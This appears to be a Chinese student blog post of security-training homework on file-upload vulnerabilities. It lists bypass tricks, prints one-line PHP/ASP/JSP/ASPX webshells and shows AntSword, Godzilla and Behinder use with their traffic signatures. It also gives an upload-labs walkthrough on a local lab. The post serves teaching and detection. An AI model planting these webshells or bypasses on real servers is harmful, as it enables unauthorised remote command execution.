实训作业day07

于 2024-09-04 13:30:04 发布
阅读量622 收藏 17
点赞数 15
文章标签： 笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_68287529/article/details/141890766
版权

实训作业day07

一、文件上传防御手段及绕过手段

1.防御手段

  • js前端校验文件类型

    • 绕过：

      • 利用谷歌游览器设置里禁用js。

      • 删掉前端的js源代码。

      • 通过brupsuite等代理工具：修改文件类型，通过js前端校验后把改回类型再上传。

  • 校验上传文件类型

    • 文件头检测

      • 绕过：

        1. 在木马内容的前面插入对应的文件头内容（如GIF89a）。

        2. 在可上传的文件中插入木马代码，然后修改后缀。

    • 文件加载检测

      • 绕过：

        1. 分片上传：将大文件分割成小块上传，然后在服务器端重新合并，绕过单次上传大小限制。

        2. 修改请求：通过工具修改请求头或数据流来伪造文件大小。

  • 校验上传文件路径

    • 绕过：

      • 路径注入：通过利用相对路径。

      • Unicode编码：使用Unicode编码绕过路径过滤，例如 …%2F…%2F。

  • 校验请求头content-type字段

    • 绕过：

      • 通过brup代理工具抓包修改提交http头部的content-type字段信息。

      • 使用挂马图片（mime限制的文件类型挂马）等。

  • 文件上传后存储到存储桶中

    • 绕过：

      • 请求伪造：通过伪造存储桶的访问请求，利用漏洞或未配置的安全策略访问文件。

      • 利用策略漏洞：如果存储桶的策略配置不正确，例如允许跨域访问或不限制请求来源，攻击者可以通过这些策略绕过限制。

  • 文件上传后以时间戳方式重写文件名

    • 绕过：

      • 绕过重命名：通过使用文件夹结构中的文件“夹”，如 folder%2Ffilename。

      • 利用符号链接：通过符号链接或硬链接使上传文件指向其他文件。

  • 设置可执行目录白名单

    • 绕过：使用…/…/穿越到可执行目录。

2.绕过手段

  • 大/双写文件名绕过
  • 恶意文件内容以多段拼凑/拆解的形式组合
  • 目录穿越到可执行目录
  • 修改MIME类型
  • 大小写绕过
  • 图片木马
  • 文件包含绕过
  • 文件竞争绕过
  • 修改文件后缀名
  • filename换行、多等号、无双引号或单引号；多个filename
  • windows上文件名+“::$DATA”能绕过检查后缀名
  • 二次渲染

二、文件上传常用一句话木马

  • php

    <?php @eval($_POST['cmd']);?>
<?php assert($_POST['cmd']);?>

  • ASP

    <%eval request("cmd")%>
<%exexute(request("cmd"))%>

  • JSP

    <%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

  • ASPX

    <%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>

三、webshell管理工具的使用方法

搭建ipload-labs靶场（工具使用以pass-01为例）

  • 将upload-labs-master压缩包在phpstudy的www目录下解压，修改文件夹名为“upload-labs”。
    在这里插入图片描述
  • 浏览器输入“localhost/upload-labs”即可打开。
    在这里插入图片描述

中国蚁剑

  • 使用：

    • 将一句话木马改为图片（jpg）格式。
      在这里插入图片描述

    • 上传后查看burpsuite抓到的包。把filename中文件的格式改回“php”，点击“Forward”。
      在这里插入图片描述

    • 文件上传成功，在文件处右键“在新标签页中打开图片”。
      在这里插入图片描述

    • 木马已经成功上传服务器。
      在这里插入图片描述

    • 打开中国蚁剑，在默认设置里勾选上“忽略HTTPS证书”。
      在这里插入图片描述

    • 点击“添加数据”，填好配置后测试连接。
      在这里插入图片描述

    • 在虚拟终端上输入任意命令。
      在这里插入图片描述

    • 代理设置中填上代理服务器和端口，保存后使用burpsuite抓包。在这里插入图片描述

    • 发送给编码器后，使用base64解码。
      在这里插入图片描述
      在这里插入图片描述

  • 流量特征：

    • 中国蚁剑支持自定义加密，但shel1不稳定，且对JSP兼容性比较差。
    • 特征码为：data:(“display_errors” AND “set_time_limit(0)”) agent;"antSword/v2.0’。
    • 使用URL加密。
    • User-Agent的值为antsword字段。
    • 请求中存在eval，可能出现拼接或者大小写情况。
    • 请求体中存在@ini_set (url解密)。
    • 参数中大量存在 0X字段(弱特征)。

哥斯拉

  • 使用：

    • 在安装目录打开cmd，输入命令“java -jar godzilla.jia”开启哥斯拉。
      在这里插入图片描述

    • 在“管理”点击“生成”，设置好密码和有效载荷后点击“生成”生成木马test.php。
      在这里插入图片描述

    • 选择木马的存储路径，这里选择phpstudy的www目录下。
      在这里插入图片描述

    • 点击“target”，设置参数后测试连接。
      在这里插入图片描述

    • 测试成功后点击“添加”。
      在这里插入图片描述

    • 在生成的数据行右键“进入”。
      在这里插入图片描述

    • 使用burpsuite抓包。
      在这里插入图片描述

  • 流量特征：

    • 基于流量、HTTP全加密的webshel1工具，看不出有明显的攻击特征，需要结合流量找到哥斯拉webshel1上传成功的流量来进行分析和判断，另外该工具自带了一些插
      件模块，实现了写无文件 WebShell 等强大的功能，可以伪造UA头和Accept头，消除请求包和响应包中的特征;。
    • Cookie中有一个非常关键的特征，最后会有个分
      号。
    • 响应体的数据有一定特征，哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。
    • 整个响应包的结构体征为: md5前十六位+base64+md5后十六位。
    • Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp/;g=0.8 (固定的)。
    • 哥斯拉会建立三次tcp连接(强特征)。

冰蝎

  • 使用：

    • 在安装目录打开cmd，输入命令“java -jar Behider.jia”开启冰蝎。
      在这里插入图片描述

    • 将冰蝎自带的shell.php文件复制到“E:\homework\xinyue\phpstudy\phpstudy_pro\WWW”目录下。
      在这里插入图片描述

    • 新增shell中的密码是“rebeyond”,点击”保存“。
      在这里插入图片描述

    • 双击shell连接成功后可看到php版本界面。
      在这里插入图片描述

    • 在”命令执行“执行任意命令。
      在这里插入图片描述

    • 设置代理为”启用“，点击”保存“。
      在这里插入图片描述

    • 使用burpsuite抓包。
      在这里插入图片描述

  • 流量特征：

    • 不同版本的冰竭流量特征会有区别：

      • 3.0流量动态AES加密，一般http包头中content-type为application/octet-stream。

      • 4.0流量动态AES加密，一般http包头中content-type为application/x-www-form-urlencoded。

    • 使用长连接,默认情况下，请求头和响应头里会带有Connection: Keep-Alive。

    • 连接的端口,每次连接使用本地端口在49700左右(就是比较大的端口)。

    • Accept：字段中存在 application/json，text/javascript，/;q=0.01。

    • UA头是冰蝎内置的，有规律的 (10种内置UA头，随机选择)大量的aes加密(弱特征)。

四、文件上传无回显如何查找webshell地址

方法1：字典爆破

根据经验，文件上传后，文件有时会直接以文件名的形式放在专属的upload目录中，通常是/upload/1.php，有时会加上当前日期，比如/upload/2024-01-01/1.php，或者其他不修改文件的所在目录，可以使用字典去爆破。

方法2：时间戳枚举

在渗透测试过程中，有些文件后，会以上传时间的时间戳为名称来进行重命名，我们需要根据时间戳来命名。通常我们会以响应包中的Date字段为参照时间戳进行枚举。

from datetime import datetime

#从字符串转换
date_str = "2024-09-01 12:00:00"
date_obj = datetime.strptime(date_str, "%Y-%m-%d %H-%M-%S"

也可通过在线的时间戳转换网站进行获取：https://www.beijing-time.org/shijianchuo/

五、文件上传表单的无参/有参情况下构造表单

  • 无参时使用万能表单

    POST /XXXX HTTP/2
Host:
Content-Type:multipart/form-data;boudary=----------------------------220024558220537725772788875484
Content-Length:1632

----------------------------220024558220537725772788875484

Content-Disposition:form-data; name="file";filename="1.aspx"
Content-Type:image/png

----------------------------220024558220537725772788875484

  • 有参时：每个参数使用“----------------------------220024558220537725772788875484”分隔开来。

六、upload-labs靶场通关第6-第10关

第六关

  • 防御方法：观察源码，发现pass-06是黑名单检查后缀，并进行了首尾去空。
    在这里插入图片描述

  • 绕过方法：文件名大小写绕过。

  • 通关步骤：

    • 在目录“E:\homework\xinyue\phpstudy\phpstudy_pro\WWW\upload-labs\upload”新建文件test.php。
      在这里插入图片描述

    • 选择该文件上传，单击“上传”。
      在这里插入图片描述

    • 在burpsiute拦截的包修改filename为“test.PHP”，发送。
      在这里插入图片描述

    • 在文件上传的位置右键，点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

第七关

  • 防御方法：观察源码，发现pass-07不仅检查后缀，还进行了首尾去空、转换为小写。
    在这里插入图片描述

  • 绕过方法：文件名后加空格绕过。

  • 通关步骤：

    • 选择test.php文件上传，在burpsiute拦截的包修改filename为“test.php ”，发送。
      在这里插入图片描述

    • 在文件上传的位置右键，点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

第八关

  • 防御方法：观察源码，发现pass-08禁止上传所有可解析的后缀，但缺少了deldot函数。
    在这里插入图片描述

  • 绕过方法：文件名后加“.”绕过。

  • 通关步骤：

    • 选择test.php文件上传，在burpsiute拦截的包修改filename为“test.php.”，发送。
      在这里插入图片描述

    • 在文件上传的位置右键，点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

第九关

  • 防御方法：观察源码，发现pass-09禁止上传所有可解析的后缀，但没有过滤“::$$DATA”字符串的str_ireplace函数。
    在这里插入图片描述

  • 绕过方法：文件名后加“::$$DATA”绕过。

  • 通关步骤：

    • 选择test.php文件上传，在burpsiute拦截的包修改filename为“test.php::$$DATA”，发送。
      在这里插入图片描述

    • 在文件上传的位置右键，点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

第十关

  • 防御方法：观察源码，发现pass-10禁只允许上传.jpg|.png|.gif后缀的文件（白名单检测），但没有过滤“::$$DATA”字符串的str_ireplace函数。
    在这里插入图片描述

  • 绕过方法：由于deldot()函数从后向前检测，遇到空格会停止，文件名后加“. . ”绕过。

  • 通关步骤：

    • 选择test.php文件上传，在burpsiute拦截的包修改filename为“test.php. . ”，发送。
      在这里插入图片描述

    • 在文件上传的位置右键，点击“在新标签页中打开图片”即可查看。
      在这里插入图片描述
      在这里插入图片描述

十三月168
关注
  • 15
    点赞
  • 踩
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
实训作业day06
weixin_68287529的博客
09-02 948
由于请求是由受害者的浏览器发起的，那么服务器的响应最后还是给到了受害者那里，攻击者是拿不到这部分数据的。csrf利用方式为利用from表单提交参数给被攻击站，参数必存在于from表单中token传递为被攻击站点击站内按钮，激活站内post传递参数，参数中存在token。XSS 的危害更大。攻击者如果成功实现了 XSS 攻击，那通常意味着他可以使用受害者在这个网站的所有功能，而 CSRF 只限于特定的存在漏洞的功能。生成一个随机的csrf_token令牌，当表单提交时，获取到csrf_token 通过。
实训作业day04
weixin_68287529的博客
09-01 948
攻击者构造一个参数包含恶意js代码的URL，诱骗用户点击，用户访问后向服务器发送请求，服务器的响应并不包含恶意代码，而是URL中的代码直接在本地浏览器由js执行。存储型XSS漏洞跟反射型形成的原因一样，不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来，构成更加持久的危害，因此存储型XSS也称“永久型”XSS。将href和scipt嵌入语句，输入”>< a hrhrefef=“javascrcriptipt:alert(‘1’)”>1< /a>，点击产生的超链接“1“弹窗成功。
实训作业day05
weixin_68287529的博客
09-01 824
在url添加“and updatexml(1,(select substr(group_concat(username,0x7e,password)),1,32) from users),1) --+”查找username和password的内容。id=1”)–+”正常说明是字符型注入且闭合方式是**“)**。id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+ ”查看数据库。id=1’ --+”都报错说明是数字型注入。
实训作业day03
weixin_68287529的博客
08-29 626
使用xray被动扫描，在安装目录下的cmd里输入命令“.\xray_windows_amd64.exe webscan --listen 127.0.0.1:8989 --html-output 3.html”，burpsuit可以抓取http流量，生成的3.html记录了扫描结果。打开火狐浏览器，输入网址“http://burp/”下载证书，在设置里导入证书cacert.der，并手动配置代理127.0.0.1和端口8080，此时可以打开pikachu。双击证书，点击“证书安装”，进入证书导入向导。
实训作业day02
weixin_68287529的博客
08-28 907
目录信息泄露不受限制的目录列表可以揭示网站目录和文件的结构，可能暴露敏感信息或可利用的文件。Web应用中间件配置错误时，如果用户访问不存在的索引文件(index.html,index.php等)的目录，就会直接显示该目录下所有文件及其子目录。敏感文件泄露​配置不当的服务器可能会暴露配置文件，这些文件包含敏感信息，如数据库凭证、API密钥和系统设置。发布网站时，管理员往往会忘记删除网站开发时留下的包含网站敏感信息的各种文件，如网站源码压缩文件，.git，.bak，.svn等文件。弱口令泄露。
实训作业day01
weixin_68287529的博客
08-27 666
2.在“Grep-Match”里添加登录失败时响应的字符串“username or password is not exists”，点击“start attack”。在“result”里选中Request为1的行，可以看到系统把账号替换成“admin”，密码替换成“123456”，返回状态码200。爆破完成后，在“result”里选中Request为1的行，可以看到系统把账号替换成“admin”，返回状态码200。选择“交叉”方式，设置好爆破位置以及选择的字典后点击“start attack”。
实训作业day2
2201_75308782的博客
01-23 398
实训代码及运行截图。
实训作业day1
2201_75308782的博客
01-22 391
实训代码运行截图。
实训day01作业
jiayouma123的博客
11-05 232
1、总结一下v-text和v-html和插值表达式的差别 答：v-text将M中的内容以文本的格式写入到V中，v-html将M中的内容以HTML代码的形式渲染到V中。 2、创建一个vue对象并和视图进行绑定，然后在该div中分别用插值表达式、v-text、v-html获取到vm下data中的msg的值 答： <!DOCTYPE html> <html> <head&...
educoder（头歌）实训平台Java实训作业答案
web15286201346的博客
06-08 6915
第一关 第二关 C C D BC第三关 第四关 ABD A第五关 第六关 CD D第七关 第八关 ADE D第一关 第二关 第三关 BD C第四关 第五关 第六关 CD CD AD第七关 Java语言基础（三）- 运算符和表达式 第一关 第二关 第三关 第四关 第五关 第六关 D B A C C A A第一关 第二关 C C D第三关 第四关 第五关 CD第六关 Java语言基础（五）- 循环结构基础 第一关 第二关 第三关 第四关 B C B第五关 第六关 C第七关 第八关 B第一关 第二关 第三关 第四
南林暑期实训 Linux day10 结课大作业
m0_74313092的博客
07-20 515
使用本地存储库，Yum存储库地址从/run/media/root/RHEL-8-4-0-BaseOS-x86_64/BaseOS和/run/media/root/RHEL-8-4-0-BaseOS-x86_64/AppStream使用。创建新的逻辑卷，逻辑卷取名为qa，卷组为qagroup，逻辑卷大小为2G，使用ext3文件系统格式化的新逻辑卷，逻辑卷应在系统启动时自动挂载/mnt/qa下。②合并成逻辑卷，逻辑卷取名为qa，卷组为qagroup，逻辑卷大小为2G。IP地址： x.x.x.10。
Android实训 DAY1
weixin_62499894的博客
06-12 682
正式学习Android的第一天
python实训目的意义_Python-暑期实训day 1
weixin_39854070的博客
11-26 5029
python基础:一 编程语言什么是编程语言？上面提及的能够被计算机所识别的表达方式即编程语言，语言是沟通的介质，而编程语言是程序员与计算机沟通的介质。在编程的世界里，计算机更像是人的奴隶，人类编程的目的就命令奴隶去工作。什么是编程？编程即程序员根据需求把自己的思想流程按照某种编程语言的语法风格编写下来，产出的结果就是包含一堆字符的文件。强调：程序在未运行前跟普通文件无异，只有程序在运行时，文件内...
小程序实训日志 Day04
不是志锋的博客
06-24 606
日期 2019年6月 20日 第 4 天 共 10天 实习地点 科技楼423 教学大纲中规定的实习教学内容 校内综合实训是系统讲授微信小程序开发技术，通过小程序开发项目实例来训练学生的实践能力，检验学生对微信小程序开发技术所学知识的综合运用能力的重要环节。每位学...
【学习笔记】卫星通信NTN 3GPP标准化进展分析（六）- 参考标准
最新发布
u011376987的博客
09-01 1124
本文总结了NTN标准化进程以及后续的研究计划，是学习NTN协议的入门。本文来自3GPP Joern Krause, 3GPP MCC。
算法的学习笔记—连续子数组的最大和
业精于勤，荒于嬉
08-29 3725
通过上述的动态规划方法，我们能够有效地解决连续子数组的最大和问题。该方法简单易懂，并且具有较高的效率，适合在大多数情况下使用。😁热门专栏推荐想学习vue的可以看看这个java基础合集数据库合集redis合集nginx合集linux合集手写机制微服务组件spring_尘觉springMVCmybits🤔欢迎大家加入我的社区尘觉社区文章到这里就结束了，如果有什么疑问的地方请指出，诸佬们一起来评论区一起讨论😁如果帮助到您不妨3连支持一下，创造不易您们的支持是我的动力🤞。
12306项目学习笔记（框架篇Base）
qq_74851649的博客
08-30 1121
首先学习的是基础框架提供了一种静态方式来访问Spring容器中的Bean，适用于某些特定场景，如工具类和框架集成。在12306项目中由于我们引入了RocketMQ消息队列，这些库的对象通常不是Spring管理的，无法直接使用@Autowired注入，所以需要类提供一种静态方式来访问Spring容器中的Bean。比如在我们的TicketServiceImpl中的bean对象就是用以下方法获取的。
Datawhale X 李宏毅苹果书AI夏令营 学习笔记
m0_61049596的博客
08-31 1101
今天，我继续学习了深度学习中的优化算法，并且着重理解了如何利用。等高级优化器来提高模型训练的效率和效果。2024年8月30日。
头歌java实训作业答案控制语句
05-18
以下是头歌Java实训作业中可能涉及到的控制语句的一些示例： 1. if语句： ``` int x = 10; if (x > 5) { System.out.println("x is greater than 5"); } ``` 2. if-else语句： ``` int x = 10; if (x > 15) { System.out.println("x is greater than 15"); } else { System.out.println("x is less than or equal to 15"); } ``` 3. switch语句： ``` int day = 4; switch (day) { case 1: System.out.println("Monday"); break; case 2: System.out.println("Tuesday"); break; case 3: System.out.println("Wednesday"); break; case 4: System.out.println("Thursday"); break; case 5: System.out.println("Friday"); break; default: System.out.println("Weekend"); } ``` 4. for循环： ``` for (int i = 0; i < 10; i++) { System.out.println(i); } ``` 5. while循环： ``` int i = 0; while (i < 10) { System.out.println(i); i++; } ``` 6. do-while循环： ``` int i = 0; do { System.out.println(i); i++; } while (i < 10); ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值